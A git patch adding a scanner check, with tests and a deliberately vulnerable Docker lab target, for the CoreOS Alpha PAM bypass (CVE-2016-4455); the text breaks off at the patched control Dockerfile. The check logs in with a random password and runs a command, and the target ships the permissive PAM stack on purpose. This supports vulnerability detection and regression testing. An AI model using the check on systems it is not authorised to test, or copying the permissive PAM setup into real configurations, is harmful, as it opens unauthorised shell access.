From f3909613e40338aa556e993173735d56637d0c1a Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 5 Nov 2026 13:38:05 -0500 Subject: [PATCH] add vuln-coreos-pam-permit check for CoreOS Alpha 104x PAM bypass CoreOS Linux Alpha 1045.0.0 and 1047.0.0 ended the PAM auth stack with pam_permit after two sufficient modules, so any password opened a session for any account (CVE-2016-4455). The check runs by default against the exact banner those releases sent (SSH-2.0-OpenSSH_7.2), tries the scanned user and then the CoreOS core and operator accounts with a random password over keyboard-interactive and password auth, and reports only when a session opens and runs a command. Adds SessionUser to the auth result so interactive and session-stage checks reconnect as the account that actually authenticated. Includes in-process SSH server tests, a vulnerable Docker target built from the OpenSSH 7.2p2 source with PAM, a patched control, and docs. --- README.md | 4 +- auth/results.go | 1 + cmd/check_vuln.go | 3 + cmd/check_vuln_coreos_pam_permit.go | 172 +++++++ cmd/check_vuln_coreos_pam_permit_test.go | 423 ++++++++++++++++++ cmd/cmd_scan.go | 6 + cmd/interact.go | 5 + docs/targets/README.md | 38 ++ docs/targets/coreos-pam-permit/Dockerfile | 52 +++ .../coreos-pam-permit/Dockerfile.patched | 13 + docs/targets/coreos-pam-permit/README.md | 226 ++++++++++ docs/targets/coreos-pam-permit/pam.d-sshd | 22 + .../coreos-pam-permit/pam.d-sshd-patched | 20 + docs/targets/coreos-pam-permit/sshd_config | 10 + 14 files changed, 994 insertions(+), 1 deletion(-) create mode 100644 cmd/check_vuln_coreos_pam_permit.go create mode 100644 cmd/check_vuln_coreos_pam_permit_test.go create mode 100644 docs/targets/README.md create mode 100644 docs/targets/coreos-pam-permit/Dockerfile create mode 100644 docs/targets/coreos-pam-permit/Dockerfile.patched create mode 100644 docs/targets/coreos-pam-permit/README.md create mode 100644 docs/targets/coreos-pam-permit/pam.d-sshd create mode 100644 docs/targets/coreos-pam-permit/pam.d-sshd-patched create mode 100644 docs/targets/coreos-pam-permit/sshd_config diff --git a/README.md b/README.md index 700713a..26b7e02 100644 --- a/README.md +++ b/README.md @@ -104,7 +104,7 @@ Usage: Flags: --categories string The list of categories to include. (default "bypass,gssapi,hostkey,keyboard,password,pubkey,userenum,vuln") - --checks string The list of checks to run. Non-default ("userenum-none-timing,userenum-password-timing,userenum-pubkey-timing,vuln-exec-skip-auth,vuln-exec-skip-userauth") (default "badkeys-blocklist,gssapi-any,keyboard-any,keyboard-empty,keyboard-null,keyboard-user,password-any,password-change-empty,password-change-null,password-empty,password-null,password-user,pubkey-any,pubkey-bulkhalf,pubkey-hunt,pubkey-user,skip-auth,skip-auth-method-empty,skip-auth-method-null,skip-auth-none,skip-auth-pubkeyany,skip-auth-success,skip-ssh-userauth,vuln-generic-env,vuln-gogs-env,vuln-ruckus-password-escape,vuln-softserve-env,vuln-tcp-forward") + --checks string The list of checks to run. Non-default ("userenum-none-timing,userenum-password-timing,userenum-pubkey-timing,vuln-exec-skip-auth,vuln-exec-skip-userauth") (default "badkeys-blocklist,gssapi-any,keyboard-any,keyboard-empty,keyboard-null,keyboard-user,password-any,password-change-empty,password-change-null,password-empty,password-null,password-user,pubkey-any,pubkey-bulkhalf,pubkey-hunt,pubkey-user,skip-auth,skip-auth-method-empty,skip-auth-method-null,skip-auth-none,skip-auth-pubkeyany,skip-auth-success,skip-ssh-userauth,vuln-coreos-pam-permit,vuln-generic-env,vuln-gogs-env,vuln-ruckus-password-escape,vuln-softserve-env,vuln-tcp-forward") --client-version string The client version string to send (default "OpenSSH_9.8p1") --config string config file (default is $HOME/.sshamble.json) -h, --help help for scan @@ -133,3 +133,5 @@ Flags: --userenum-test-count uint The number of tests to apply during username enumeration (default 2500) -u, --users string The list of usernames to test on each target (comma-separated) (default "root") ``` + +The `vuln-coreos-pam-permit` check runs by default against servers announcing `SSH-2.0-OpenSSH_7.2`, the banner of the OpenSSH 7.2p2 build in CoreOS Linux Alpha 1045.0.0 and 1047.0.0 (CVE-2016-4455). Those releases ended the PAM auth stack with `pam_permit`, so any password opened a session for any account. The check tries the scanned user and then the CoreOS `core` and `operator` accounts with a random password over keyboard-interactive and password auth, and reports a finding only if a session opens and runs a command. See [docs/targets/coreos-pam-permit](docs/targets/coreos-pam-permit/) for a test target. diff --git a/auth/results.go b/auth/results.go index 3fbf066..cab34a9 100644 --- a/auth/results.go +++ b/auth/results.go @@ -33,6 +33,7 @@ type AuthResult struct { ExitStatus string `json:"sessionExitStatus,omitempty"` SessionOutput string `json:"sessionOutput,omitempty"` SessionMethod string `json:"sessionMethod,omitempty"` + SessionUser string `json:"sessionUser,omitempty"` SessionSecret string `json:"sessionSecret,omitempty"` PubKeyHalfAuthLimit int `json:"pubKeyHalfAuthLimit,omitempty"` PubKeyHuntResults []string `json:"pubKeyHuntResults,omitempty"` diff --git a/cmd/check_vuln.go b/cmd/check_vuln.go index e0b994d..bf65063 100644 --- a/cmd/check_vuln.go +++ b/cmd/check_vuln.go @@ -16,6 +16,9 @@ func initVulnChecks() { // MikroTik SSH login-helper fd injection (CVE-2026-86060) registerCheck(checkVulnMikrotikFD2Inject, "vuln", false, true) + // CoreOS Linux Alpha 104x PAM fall-through to pam_permit (CVE-2016-4455) + registerCheck(checkVulnCoreOSPamPermit, "vuln", false, true) + // MikroTik WebFig unauthenticated file read (CVE-2026-67281) — not yet working // registerCheck(checkVulnMikrotikWebfigTraversal, "vuln", false, true) } diff --git a/cmd/check_vuln_coreos_pam_permit.go b/cmd/check_vuln_coreos_pam_permit.go new file mode 100644 index 0000000..b8a181a --- /dev/null +++ b/cmd/check_vuln_coreos_pam_permit.go @@ -0,0 +1,172 @@ +package cmd + +import ( + "errors" + "fmt" + "net" + "regexp" + "strconv" + "time" + + "github.com/runZeroInc/excrypto/x/crypto/ssh" + "github.com/runZeroInc/sshamble/auth" +) + +const checkVulnCoreOSPamPermit = "vuln-coreos-pam-permit" + +// coreosPamPermitRef is the CoreOS security brief for CVE-2016-4455. +const coreosPamPermitRef = "https://web.archive.org/web/20160602013344/https://coreos.com/blog/security-brief-coreos-linux-alpha-remote-ssh-issue.html" + +// coreosPamPermitBanner matches the banner announced by the OpenSSH 7.2p2 +// build shipped in CoreOS Linux Alpha 1045.0.0 and 1047.0.0. Upstream sshd +// omits the portable suffix, and CoreOS set no version addendum, so the +// banner is exactly this string. +var coreosPamPermitBanner = regexp.MustCompile(`^SSH-2\.0-OpenSSH_7\.2$`) + +// coreosPamPermitUsers are the password-less accounts present on every +// CoreOS system; the brief names both as exploited in the wild. +var coreosPamPermitUsers = []string{"core", "operator"} + +// coreosPamPermitAffectedVersion reports whether the banner matches the +// OpenSSH build shipped by the affected CoreOS releases. +func coreosPamPermitAffectedVersion(version string) bool { + return coreosPamPermitBanner.MatchString(version) +} + +// coreosPamPermitCandidateUsers returns the usernames to try: the configured +// user first, then the CoreOS accounts not already covered by it. +func coreosPamPermitCandidateUsers(configured string) []string { + users := []string{} + if configured != "" { + users = append(users, configured) + } + for _, u := range coreosPamPermitUsers { + if u != configured { + users = append(users, u) + } + } + return users +} + +// coreosPamPermitExecRan reports whether an exec request completed on the +// session. A remote exit status (zero or not) and a channel that closed +// without sending one both mean the command was accepted and ran. +func coreosPamPermitExecRan(err error) (string, bool) { + if err == nil { + return "0", true + } + var exitErr *ssh.ExitError + if errors.As(err, &exitErr) { + return strconv.Itoa(exitErr.ExitStatus()), true + } + var missing *ssh.ExitMissingError + if errors.As(err, &missing) { + return "", true + } + return "", false +} + +// coreosPamPermitConfirmed reports whether the random-password attempt opened +// a session that ran a command. Reaching the session stage alone is not +// enough: the channel can open and then fail before any command executes. +func coreosPamPermitConfirmed(stage string, sessionOpened bool) bool { + return stage == "session" && sessionOpened +} + +// coreosPamPermitSessionHandler runs a command on the opened session and +// records whether it ran. +func coreosPamPermitSessionHandler(sessionOpened *bool) auth.SessionHandler { + return func(c net.Conn, sclient *ssh.Client, ses *ssh.Session, res *auth.AuthResult) error { + _ = c.SetDeadline(time.Now().Add(15 * time.Second)) + out, err := ses.CombinedOutput("id") + res.SessionOutput = auth.CleanSessionOutput(out) + status, ran := coreosPamPermitExecRan(err) + if !ran { + return err + } + res.ExitStatus = status + *sessionOpened = true + return nil + } +} + +// coreosPamPermitAuth pairs an SSH auth method with its name for logging. +type coreosPamPermitAuth struct { + name string + am ssh.AuthMethod +} + +// coreosPamPermitAuthMethods returns the auth methods to try with the given +// password, in the order CoreOS exposed them: keyboard-interactive via PAM +// first, then password if the server offers it. +func coreosPamPermitAuthMethods(root *auth.AuthResult, password string) []coreosPamPermitAuth { + methods := []coreosPamPermitAuth{} + if root.SupportsAuth("keyboard-interactive") { + am := ssh.KeyboardInteractive(func(name, instr string, questions []string, echos []bool) ([]string, error) { + answers := make([]string, len(questions)) + for i := range questions { + answers[i] = password + } + return answers, nil + }) + methods = append(methods, coreosPamPermitAuth{name: "keyboard-interactive", am: am}) + } + if root.SupportsAuth("password") { + am := ssh.PasswordCallback(func() (string, error) { + return password, nil + }) + methods = append(methods, coreosPamPermitAuth{name: "password", am: am}) + } + return methods +} + +func sshCheckVulnCoreOSPamPermit(addr string, conf *ScanConfig, options *auth.Options, root *auth.AuthResult) *auth.AuthResult { + tname := checkVulnCoreOSPamPermit + if !conf.IsCheckEnabled(tname) { + return nil + } + if !coreosPamPermitAffectedVersion(root.Version) { + conf.Logger.Debugf("%s %s skipped: server version %q does not match the affected CoreOS OpenSSH build", addr, tname, root.Version) + return nil + } + if !root.SupportsAuth("keyboard-interactive") && !root.SupportsAuth("password") { + conf.Logger.Debugf("%s %s skipped: server offers neither keyboard-interactive nor password auth", addr, tname) + return nil + } + + conf.Logger.Debugf("%s %s is running for user %s", addr, tname, options.Username) + + testPass := genRandomPassword() + for _, user := range coreosPamPermitCandidateUsers(options.Username) { + uopts := options.WithUsername(user) + for _, m := range coreosPamPermitAuthMethods(root, testPass) { + sessionOpened := false + o := uopts.WithSessionHandler(coreosPamPermitSessionHandler(&sessionOpened)) + res := auth.SSHAuth(addr, o, auth.SSHAuthHandlerSingle(m.am)) + if res.Unreachable { + conf.Logger.Debugf("%s %s stopped: target unreachable: %v", addr, tname, res.Error) + return res + } + if !coreosPamPermitConfirmed(res.Stage, sessionOpened) { + conf.Logger.Debugf("%s %s did not open a session for user %s via %s (stage %s): %v", addr, tname, user, m.name, res.Stage, res.Error) + continue + } + + conf.Logger.Warnf("%s %s accepted a random password for user %s via %s", addr, tname, user, m.name) + root.AddVuln(auth.VulnResult{ + ID: tname, + Ref: coreosPamPermitRef, + Proof: fmt.Sprintf("CVE-2016-4455: a random password opened a session for %s via %s. Session output: %s", user, m.name, res.SessionOutput), + }) + res.SessionMethod = tname + root.SessionMethod = tname + root.SessionUser = user + root.SessionOutput = res.SessionOutput + root.SessionSecret = testPass + root.ExitStatus = res.ExitStatus + root.SessionAuth = m.am + return res + } + } + return nil +} diff --git a/cmd/check_vuln_coreos_pam_permit_test.go b/cmd/check_vuln_coreos_pam_permit_test.go new file mode 100644 index 0000000..0c1f59a --- /dev/null +++ b/cmd/check_vuln_coreos_pam_permit_test.go @@ -0,0 +1,423 @@ +package cmd + +import ( + "crypto/rand" + "errors" + "fmt" + "io" + "net" + "strings" + "sync/atomic" + "testing" + "time" + + "github.com/runZeroInc/excrypto/crypto/ed25519" + "github.com/runZeroInc/excrypto/x/crypto/ssh" + "github.com/runZeroInc/sshamble/auth" + "github.com/sirupsen/logrus" +) + +func TestCoreOSPamPermitAffectedVersion(t *testing.T) { + cases := []struct { + version string + want bool + }{ + {version: "SSH-2.0-OpenSSH_7.2", want: true}, + {version: "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10", want: false}, + {version: "SSH-2.0-OpenSSH_7.2 FreeBSD-20160310", want: false}, + {version: "SSH-2.0-OpenSSH_7.2p2", want: false}, + {version: "SSH-2.0-OpenSSH_7.1", want: false}, + {version: "SSH-2.0-OpenSSH_7.3", want: false}, + {version: "SSH-2.0-OpenSSH_7.20", want: false}, + {version: "SSH-2.0-OpenSSH_9.7", want: false}, + {version: "SSH-2.0-dropbear_2022.83", want: false}, + {version: "", want: false}, + } + for _, tc := range cases { + if got := coreosPamPermitAffectedVersion(tc.version); got != tc.want { + t.Errorf("coreosPamPermitAffectedVersion(%q) = %v, want %v", tc.version, got, tc.want) + } + } +} + +func TestCoreOSPamPermitCandidateUsers(t *testing.T) { + cases := []struct { + configured string + want []string + }{ + {configured: "root", want: []string{"root", "core", "operator"}}, + {configured: "core", want: []string{"core", "operator"}}, + {configured: "operator", want: []string{"operator", "core"}}, + {configured: "", want: []string{"core", "operator"}}, + } + for _, tc := range cases { + got := coreosPamPermitCandidateUsers(tc.configured) + if strings.Join(got, ",") != strings.Join(tc.want, ",") { + t.Errorf("coreosPamPermitCandidateUsers(%q) = %v, want %v", tc.configured, got, tc.want) + } + } +} + +func TestCoreOSPamPermitConfirmed(t *testing.T) { + cases := []struct { + stage string + sessionOpened bool + want bool + }{ + {stage: "session", sessionOpened: true, want: true}, + {stage: "session", sessionOpened: false, want: false}, + {stage: "open-session", sessionOpened: false, want: false}, + {stage: "auth", sessionOpened: true, want: false}, + {stage: "ssh-userauth", sessionOpened: false, want: false}, + {stage: "", sessionOpened: false, want: false}, + } + for _, tc := range cases { + if got := coreosPamPermitConfirmed(tc.stage, tc.sessionOpened); got != tc.want { + t.Errorf("coreosPamPermitConfirmed(%q, %v) = %v, want %v", tc.stage, tc.sessionOpened, got, tc.want) + } + } +} + +func TestCoreOSPamPermitExecRan(t *testing.T) { + cases := []struct { + name string + err error + status string + ran bool + }{ + {name: "nil", err: nil, status: "0", ran: true}, + {name: "exit-missing", err: &ssh.ExitMissingError{}, status: "", ran: true}, + {name: "other", err: errors.New("ssh: unexpected packet"), status: "", ran: false}, + {name: "eof", err: io.EOF, status: "", ran: false}, + } + for _, tc := range cases { + status, ran := coreosPamPermitExecRan(tc.err) + if ran != tc.ran || status != tc.status { + t.Errorf("%s: coreosPamPermitExecRan = (%q, %v), want (%q, %v)", tc.name, status, ran, tc.status, tc.ran) + } + } +} + +// coreosTestServer is a minimal SSH server that authenticates according to a +// per-user predicate over keyboard-interactive and/or password, and answers +// exec requests with fixed output. It stands in for a CoreOS sshd. +type coreosTestServer struct { + addr string + conns atomic.Int64 + listener net.Listener + config *ssh.ServerConfig +} + +// coreosAcceptFunc decides whether a user and password combination logs in. +type coreosAcceptFunc func(user string, password []byte) bool + +// newCoreOSTestServer starts a server announcing the given banner. kbd and +// pass select which auth methods the server offers. +func newCoreOSTestServer(t *testing.T, banner string, kbd, pass bool, accept coreosAcceptFunc) *coreosTestServer { + t.Helper() + + _, priv, err := ed25519.GenerateKey(rand.Reader) + if err != nil { + t.Fatalf("generate host key: %v", err) + } + signer, err := ssh.NewSignerFromKey(priv) + if err != nil { + t.Fatalf("host key signer: %v", err) + } + + s := &coreosTestServer{} + s.config = &ssh.ServerConfig{ServerVersion: banner} + if kbd { + s.config.KeyboardInteractiveCallback = func(conn ssh.ConnMetadata, client ssh.KeyboardInteractiveChallenge) (*ssh.Permissions, error) { + answers, err := client("", "", []string{"Password: "}, []bool{false}) + if err != nil { + return nil, err + } + if len(answers) == 1 && accept(conn.User(), []byte(answers[0])) { + return nil, nil + } + return nil, errors.New("permission denied") + } + } + if pass { + s.config.PasswordCallback = func(conn ssh.ConnMetadata, password []byte) (*ssh.Permissions, error) { + if accept(conn.User(), password) { + return nil, nil + } + return nil, errors.New("permission denied") + } + } + s.config.AddHostKey(signer) + + s.listener, err = net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatalf("listen: %v", err) + } + s.addr = s.listener.Addr().String() + t.Cleanup(func() { s.listener.Close() }) + + go func() { + for { + c, err := s.listener.Accept() + if err != nil { + return + } + s.conns.Add(1) + go s.handle(c) + } + }() + return s +} + +func (s *coreosTestServer) handle(c net.Conn) { + defer c.Close() + sc, chans, reqs, err := ssh.NewServerConn(c, s.config) + if err != nil { + return + } + go ssh.DiscardRequests(reqs) + for nc := range chans { + if nc.ChannelType() != "session" { + _ = nc.Reject(ssh.UnknownChannelType, "unsupported") + continue + } + ch, chReqs, err := nc.Accept() + if err != nil { + return + } + go s.session(sc.User(), ch, chReqs) + } +} + +func (s *coreosTestServer) session(user string, ch ssh.Channel, reqs <-chan *ssh.Request) { + defer ch.Close() + for req := range reqs { + switch req.Type { + case "exec": + _ = req.Reply(true, nil) + _, _ = fmt.Fprintf(ch, "uid=500(%s) gid=500(%s) groups=500(%s)\n", user, user, user) + _, _ = ch.SendRequest("exit-status", false, []byte{0, 0, 0, 0}) + return + case "pty-req", "env", "shell": + _ = req.Reply(true, nil) + if req.Type == "shell" { + _, _ = io.WriteString(ch, "$ ") + } + default: + _ = req.Reply(false, nil) + } + } +} + +// coreosTestHarness builds the scan configuration, options, and root result +// that GetSession would hand to the check for the given server and user. +func coreosTestHarness(t *testing.T, s *coreosTestServer, user string, enabled bool) (*ScanConfig, *auth.Options, *auth.AuthResult) { + t.Helper() + + logger := logrus.New() + logger.SetOutput(io.Discard) + + conf := &ScanConfig{ + EnabledChecks: map[string]struct{}{}, + Logger: logger, + } + if enabled { + conf.EnabledChecks[checkVulnCoreOSPamPermit] = struct{}{} + } + + host, portStr, _ := net.SplitHostPort(s.addr) + var port int + _, _ = fmt.Sscanf(portStr, "%d", &port) + + options := &auth.Options{ + Host: host, + Port: port, + Username: user, + HostKeyAlgs: auth.HostKeyAlgorithms, + Timeout: 5 * time.Second, + Logger: logger, + ClientVersion: "OpenSSH_9.8p1", + } + + root := auth.SSHAuthNone(s.addr, options) + if root.Stage != "ssh-userauth" { + t.Fatalf("none auth probe reached stage %q: %s", root.Stage, root.Error) + } + return conf, options, root +} + +// coreosAcceptNonRoot mirrors the vulnerable CoreOS stack: PAM permits any +// password for any account, but sshd refuses root before PAM runs. +func coreosAcceptNonRoot(user string, password []byte) bool { return user != "root" } + +func coreosAcceptNone(user string, password []byte) bool { return false } + +func TestCoreOSPamPermitCheckFallsBackToCoreUser(t *testing.T) { + s := newCoreOSTestServer(t, "SSH-2.0-OpenSSH_7.2", true, false, coreosAcceptNonRoot) + conf, options, root := coreosTestHarness(t, s, "root", true) + + res := sshCheckVulnCoreOSPamPermit(s.addr, conf, options, root) + if res == nil { + t.Fatal("check returned nil against a vulnerable server") + } + if res.Stage != "session" { + t.Fatalf("result stage = %q, want session", res.Stage) + } + if len(root.Vulns) != 1 || root.Vulns[0].ID != checkVulnCoreOSPamPermit { + t.Fatalf("root vulns = %+v, want one %s entry", root.Vulns, checkVulnCoreOSPamPermit) + } + if !strings.Contains(root.Vulns[0].Proof, "for core via keyboard-interactive") { + t.Fatalf("proof = %q, want core via keyboard-interactive", root.Vulns[0].Proof) + } + if root.SessionMethod != checkVulnCoreOSPamPermit || root.SessionUser != "core" { + t.Fatalf("session method/user = %q/%q, want %s/core", root.SessionMethod, root.SessionUser, checkVulnCoreOSPamPermit) + } + if !strings.Contains(root.SessionOutput, "uid=500(core)") { + t.Fatalf("session output = %q, want id output for core", root.SessionOutput) + } + if root.ExitStatus != "0" { + t.Fatalf("exit status = %q, want 0", root.ExitStatus) + } + if root.SessionAuth == nil || root.SessionSecret == "" { + t.Fatal("session credential was not cached for interaction") + } +} + +func TestCoreOSPamPermitCheckConfiguredUser(t *testing.T) { + s := newCoreOSTestServer(t, "SSH-2.0-OpenSSH_7.2", true, true, coreosAcceptNonRoot) + conf, options, root := coreosTestHarness(t, s, "operator", true) + + before := s.conns.Load() + res := sshCheckVulnCoreOSPamPermit(s.addr, conf, options, root) + if res == nil { + t.Fatal("check returned nil against a vulnerable server") + } + if root.SessionUser != "operator" { + t.Fatalf("session user = %q, want operator", root.SessionUser) + } + if got := s.conns.Load() - before; got != 1 { + t.Fatalf("check made %d connections, want 1 for the configured user", got) + } +} + +func TestCoreOSPamPermitCheckPasswordOnly(t *testing.T) { + s := newCoreOSTestServer(t, "SSH-2.0-OpenSSH_7.2", false, true, coreosAcceptNonRoot) + conf, options, root := coreosTestHarness(t, s, "core", true) + + res := sshCheckVulnCoreOSPamPermit(s.addr, conf, options, root) + if res == nil { + t.Fatal("check returned nil against a vulnerable password-only server") + } + if !strings.Contains(root.Vulns[0].Proof, "for core via password") { + t.Fatalf("proof = %q, want core via password", root.Vulns[0].Proof) + } +} + +// TestCoreOSPamPermitCheckSessionAuthReusable mirrors StartInteract: the +// cached auth method and session user must open a fresh session that runs +// commands. +func TestCoreOSPamPermitCheckSessionAuthReusable(t *testing.T) { + s := newCoreOSTestServer(t, "SSH-2.0-OpenSSH_7.2", true, false, coreosAcceptNonRoot) + conf, options, root := coreosTestHarness(t, s, "root", true) + + if res := sshCheckVulnCoreOSPamPermit(s.addr, conf, options, root); res == nil { + t.Fatal("check returned nil against a vulnerable server") + } + + ran := false + handler := func(c net.Conn, sclient *ssh.Client, ses *ssh.Session, res *auth.AuthResult) error { + _ = c.SetDeadline(time.Now().Add(5 * time.Second)) + out, err := ses.CombinedOutput("id") + if err != nil { + return err + } + res.SessionOutput = auth.CleanSessionOutput(out) + ran = true + return nil + } + o := options.WithUsername(root.SessionUser).WithSessionHandler(handler).WithSessionPoke("").WithRetries(10) + res := auth.SSHAuth(s.addr, o, auth.SSHAuthHandlerSingle(root.SessionAuth)) + if res.Stage != "session" || !ran { + t.Fatalf("reusing SessionAuth reached stage %q (ran=%v): %s", res.Stage, ran, res.Error) + } + if !strings.Contains(res.SessionOutput, "uid=500(core)") { + t.Fatalf("reused session output = %q, want id output for core", res.SessionOutput) + } +} + +func TestCoreOSPamPermitCheckRejectsPatchedServer(t *testing.T) { + s := newCoreOSTestServer(t, "SSH-2.0-OpenSSH_7.2", true, false, coreosAcceptNone) + conf, options, root := coreosTestHarness(t, s, "root", true) + + before := s.conns.Load() + if res := sshCheckVulnCoreOSPamPermit(s.addr, conf, options, root); res != nil { + t.Fatalf("check returned %+v against a server that rejects every password", res) + } + if len(root.Vulns) != 0 { + t.Fatalf("root vulns = %+v, want none", root.Vulns) + } + if root.SessionMethod != "" || root.SessionUser != "" || root.SessionAuth != nil { + t.Fatalf("session state set without a session: method=%q user=%q", root.SessionMethod, root.SessionUser) + } + if got := s.conns.Load() - before; got != 3 { + t.Fatalf("check made %d connections, want one per candidate user", got) + } +} + +func TestCoreOSPamPermitCheckSkipsByVersion(t *testing.T) { + cases := []struct { + name string + banner string + }{ + {name: "ubuntu 7.2p2", banner: "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10"}, + {name: "freebsd 7.2", banner: "SSH-2.0-OpenSSH_7.2 FreeBSD-20160310"}, + {name: "openssh 7.3", banner: "SSH-2.0-OpenSSH_7.3"}, + {name: "openssh 7.1", banner: "SSH-2.0-OpenSSH_7.1"}, + {name: "dropbear", banner: "SSH-2.0-dropbear_2022.83"}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + s := newCoreOSTestServer(t, tc.banner, true, true, coreosAcceptNonRoot) + conf, options, root := coreosTestHarness(t, s, "core", true) + + before := s.conns.Load() + if res := sshCheckVulnCoreOSPamPermit(s.addr, conf, options, root); res != nil { + t.Fatalf("check returned %+v for banner %q", res, tc.banner) + } + if len(root.Vulns) != 0 { + t.Fatalf("root vulns = %+v, want none", root.Vulns) + } + if got := s.conns.Load() - before; got != 0 { + t.Fatalf("check made %d connections for banner %q, want none", got, tc.banner) + } + }) + } +} + +func TestCoreOSPamPermitCheckDisabled(t *testing.T) { + s := newCoreOSTestServer(t, "SSH-2.0-OpenSSH_7.2", true, false, coreosAcceptNonRoot) + conf, options, root := coreosTestHarness(t, s, "core", false) + + before := s.conns.Load() + if res := sshCheckVulnCoreOSPamPermit(s.addr, conf, options, root); res != nil { + t.Fatalf("disabled check returned %+v", res) + } + if got := s.conns.Load() - before; got != 0 { + t.Fatalf("disabled check made %d connections, want none", got) + } +} + +func TestCoreOSPamPermitEnabledByDefault(t *testing.T) { + for _, c := range Checks { + if c.Name == checkVulnCoreOSPamPermit { + if !c.Enabled { + t.Fatalf("%s is registered but not enabled by default", checkVulnCoreOSPamPermit) + } + if c.Category != "vuln" { + t.Fatalf("%s category = %q, want vuln", checkVulnCoreOSPamPermit, c.Category) + } + return + } + } + t.Fatalf("%s is not registered", checkVulnCoreOSPamPermit) +} diff --git a/cmd/cmd_scan.go b/cmd/cmd_scan.go index 3e186ff..e613b1c 100644 --- a/cmd/cmd_scan.go +++ b/cmd/cmd_scan.go @@ -715,6 +715,7 @@ func (conf *ScanConfig) GetSession(addr string, options *auth.Options, cached *a sshCheckVulnMikrotikPubkey, sshCheckVulnMikrotikPreauthRekey, sshCheckVulnMikrotikFD2Inject, + sshCheckVulnCoreOSPamPermit, sshCheckVulnExecSkipUserAuth, sshCheckVulnExecSkipAuth, } @@ -737,6 +738,11 @@ var ( // TestSession tries to gain further access through a SSH session func (conf *ScanConfig) TestSession(addr string, options *auth.Options, root *auth.AuthResult) { + // Checks may open the session as a different account than the one scanned + if root.SessionUser != "" && root.SessionUser != options.Username { + options = options.WithUsername(root.SessionUser) + } + // Checks that can lead to deeper access to this session sessionChecks := []sshCheckFunc{ sshCheckVulnTCPForward, diff --git a/cmd/interact.go b/cmd/interact.go index 9108f70..008b74b 100644 --- a/cmd/interact.go +++ b/cmd/interact.go @@ -37,6 +37,11 @@ func (conf *ScanConfig) StartInteract(addr string, options *auth.Options, root * WithSessionPoke(""). WithRetries(10) + // Checks may open the session as a different account than the one scanned + if root.SessionUser != "" && root.SessionUser != options.Username { + options = options.WithUsername(root.SessionUser) + } + var res *auth.AuthResult if root.SessionAuth != nil { // Use the ssh.AuthMethod cached on the root session diff --git a/docs/targets/README.md b/docs/targets/README.md new file mode 100644 index 0000000..e827d57 --- /dev/null +++ b/docs/targets/README.md @@ -0,0 +1,38 @@ +# Vulnerable test targets + +Each subdirectory contains a self-contained Dockerfile that builds a target +vulnerable to one of sshamble's checks, a README that explains how to verify +the check against it, and where possible a patched control image that the +check must not flag. These exist so that check development and regression +testing do not depend on rediscovering fiddly container configuration every +time. + +## Layout + +``` +docs/targets// + README.md + Dockerfile + Dockerfile.patched (optional: a non-vulnerable control) +``` + +The directory name should match the check name with the `vuln-` prefix +dropped (e.g. `coreos-pam-permit` for `vuln-coreos-pam-permit`). + +## Targets + +| Directory | Check | Vulnerability | +|-----------|-------|---------------| +| [coreos-pam-permit](coreos-pam-permit/) | `vuln-coreos-pam-permit` | CoreOS Linux Alpha 1045.0.0 and 1047.0.0 PAM stack falls through to `pam_permit`, so any password logs in as any account (CVE-2016-4455) | + +## Adding a new target + +1. Create `docs/targets//Dockerfile` and a `README.md` that + explains how to build the target, run the check against it, and confirm + both the finding and the absence of a finding on a patched control. +2. Keep the image minimal and pinned (specific base image tag, not `latest`), + so the target stays vulnerable as upstream packages are patched. +3. Document the vulnerable condition in a comment at the top of the + Dockerfile: what software version, what configuration, and why it is + vulnerable. +4. Add a row to the table above. diff --git a/docs/targets/coreos-pam-permit/Dockerfile b/docs/targets/coreos-pam-permit/Dockerfile new file mode 100644 index 0000000..f7a6f24 --- /dev/null +++ b/docs/targets/coreos-pam-permit/Dockerfile @@ -0,0 +1,52 @@ +# Vulnerable target for the vuln-coreos-pam-permit check (CVE-2016-4455). +# +# CoreOS Linux Alpha 1045.0.0 and 1047.0.0 shipped a PAM stack where +# pam_sss and pam_unix were both "sufficient" and the stack ended with +# "auth optional pam_permit.so". When neither module succeeded, PAM fell +# through to pam_permit and the login was allowed, so any password opened +# a session for any user, including the password-less core and operator +# accounts. +# +# Those releases ran OpenSSH 7.2p2 from Gentoo with UsePAM yes, +# PasswordAuthentication no and ChallengeResponseAuthentication yes, so +# the bypass was reached over keyboard-interactive. Upstream sshd announces +# SSH-2.0-OpenSSH_7.2 (no portable suffix, no addendum), which is the +# banner the check gates on. Debian and Ubuntu packages always add the +# "p2" suffix, so OpenSSH 7.2p2 is built from the upstream tarball here, +# with PAM, on Ubuntu 16.04 for its OpenSSL 1.0.2 and libpam-sss. +# +# Build: docker build -t sshamble-coreos-pam-permit docs/targets/coreos-pam-permit +# Run: docker run -d --rm --name sshamble-coreos-pam-permit -p 2224:22 sshamble-coreos-pam-permit +# Scan: ./sshamble scan -p 2224 127.0.0.1 +FROM ubuntu:16.04 + +RUN apt-get update \ + && DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \ + build-essential libssl-dev libpam0g-dev zlib1g-dev libpam-sss \ + && rm -rf /var/lib/apt/lists/* + +ADD https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.2p2.tar.gz /usr/src/openssh-7.2p2.tar.gz + +RUN cd /usr/src \ + && tar xzf openssh-7.2p2.tar.gz \ + && cd openssh-7.2p2 \ + && ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam \ + --with-privsep-user=sshd --with-privsep-path=/var/empty/sshd \ + && make -j"$(nproc)" \ + && make install-nokeys \ + && rm -rf /usr/src/openssh-7.2p2 /usr/src/openssh-7.2p2.tar.gz + +COPY sshd_config /etc/ssh/sshd_config +COPY pam.d-sshd /etc/pam.d/sshd + +RUN useradd -r -d /var/empty/sshd -s /usr/sbin/nologin sshd \ + && mkdir -p /var/empty/sshd && chmod 711 /var/empty/sshd \ + && ssh-keygen -A \ + && groupadd -g 500 core \ + && useradd -m -u 500 -g core -s /bin/bash core \ + && useradd -m -g operator -s /bin/sh operator \ + && usermod -p '!' core \ + && usermod -p '!' operator + +EXPOSE 22 +CMD ["/usr/sbin/sshd", "-D", "-e"] diff --git a/docs/targets/coreos-pam-permit/Dockerfile.patched b/docs/targets/coreos-pam-permit/Dockerfile.patched new file mode 100644 index 0000000..ae11a4c --- /dev/null +++ b/docs/targets/coreos-pam-permit/Dockerfile.patched @@ -0,0 +1,13 @@ +# Patched 